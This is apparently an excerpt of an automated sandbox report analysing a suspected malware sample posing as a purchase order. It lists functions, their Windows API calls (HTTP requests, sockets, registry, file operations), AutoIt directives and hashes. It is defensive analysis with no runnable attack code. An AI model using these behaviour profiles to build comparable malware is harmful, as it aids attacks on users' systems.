                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                                                                                                      • String ID: close all
                                                                                                                                                                      • API String ID: 4174999648-3243417748
                                                                                                                                                                      • Opcode ID: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                                                                                      • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                                                                                                                      • Opcode Fuzzy Hash: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                                                                                      • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                                                                                                                      Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                                                                                                      • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                                                                                                      • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                                                                                                      • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                                                                                                      • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                                                                                                      • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                                                                                                        • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1291720006-3916222277
                                                                                                                                                                      • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                      • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                                                                                                      • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                      • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                                                                                                      Function 0046BB59 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 168networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorLastselect
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 215497628-2761332787
                                                                                                                                                                      • Opcode ID: 3d89cdb4518712ce7d497f90f16eabf25f5dd16b03f437b50de1b9ff930cdf67
                                                                                                                                                                      • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                                                                                                                      • Opcode Fuzzy Hash: 3d89cdb4518712ce7d497f90f16eabf25f5dd16b03f437b50de1b9ff930cdf67
                                                                                                                                                                      • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                                                                                                                      Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                                                                                                      • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                                                                                                      • API String ID: 1729044348-3708979750
                                                                                                                                                                      • Opcode ID: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                                      • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                                                                                                                      • Opcode Fuzzy Hash: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                                      • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                                                                                                                      Function 0044BBC9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100filestringCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO 4800040256.exe,?,C:\Users\user\Desktop\PO 4800040256.exe,004A8E80,C:\Users\user\Desktop\PO 4800040256.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                      • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                                                                                                                      • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0044BCAA
                                                                                                                                                                      • _wcslen.LIBCMT ref: 0044BCB7
                                                                                                                                                                      • _wcslen.LIBCMT ref: 0044BCCB
                                                                                                                                                                      • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                                                                                                                      • String ID: \*.*
                                                                                                                                                                      • API String ID: 2326526234-1173974218
                                                                                                                                                                      • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                      • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                                                                                                                      • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                      • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                                                                                                                      Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                                                                                                      • _wcslen.LIBCMT ref: 004366DD
                                                                                                                                                                      • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0043670F
                                                                                                                                                                      • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                                                                                                                      • _wcsrchr.LIBCMT ref: 0043674C
                                                                                                                                                                        • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                                                                                                      • String ID: \
                                                                                                                                                                      • API String ID: 321622961-2967466578
                                                                                                                                                                      • Opcode ID: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                                                                                      • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                                                                                                      • Opcode Fuzzy Hash: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                                                                                      • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                                                                                                      Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsnicmp
                                                                                                                                                                      • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                                                                                                      • API String ID: 1038674560-2734436370
                                                                                                                                                                      • Opcode ID: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                                                                                      • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                                                                                                      • Opcode Fuzzy Hash: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                                                                                      • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                                                                                                      Function 00441561 Relevance: 12.1, APIs: 8, Instructions: 101windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0044157D
                                                                                                                                                                      • GetDC.USER32(00000000), ref: 00441585
                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                                                                                                                      • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                                                                                                      • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                                                                                                      • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                                                                                                      • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3864802216-0
                                                                                                                                                                      • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                      • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                                                                                                      • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                      • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                                                                                                      Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                        • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                        • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                        • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                      • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                        • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                      • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                        • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                      • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                      • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                      • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1925773019-0
                                                                                                                                                                      • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                      • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                                                                                                                      • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                      • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                                                                                                                      Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                                                                                                      • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                                                                                                      • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                                                                                                      • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                                                                                                      • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                                                                                                      • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                                                                                                      • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                                                                                                      • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClearVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1473721057-0
                                                                                                                                                                      • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                      • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                                                                                                      • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                      • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                                                                                                      Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                                                                                                                                                        • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                      • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                                                                                                                                                                      • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                                                                                                                                                                      • _memset.LIBCMT ref: 00464B92
                                                                                                                                                                      • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                                                                                                      • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                                                                                                      • WSACleanup.WSOCK32 ref: 00464CE4
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3424476444-0
                                                                                                                                                                      • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                      • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                                                                                                      • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                      • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                                                                                                      Function 00440B39 Relevance: 10.8, APIs: 7, Instructions: 261COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MetricsSystem
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4116985748-0
                                                                                                                                                                      • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                                      • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                                                                                                                      • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                                      • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                                                                                                                      Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ConnectRegistry_wcslen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 535477410-0
                                                                                                                                                                      • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                      • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                                                                                                      • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                      • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
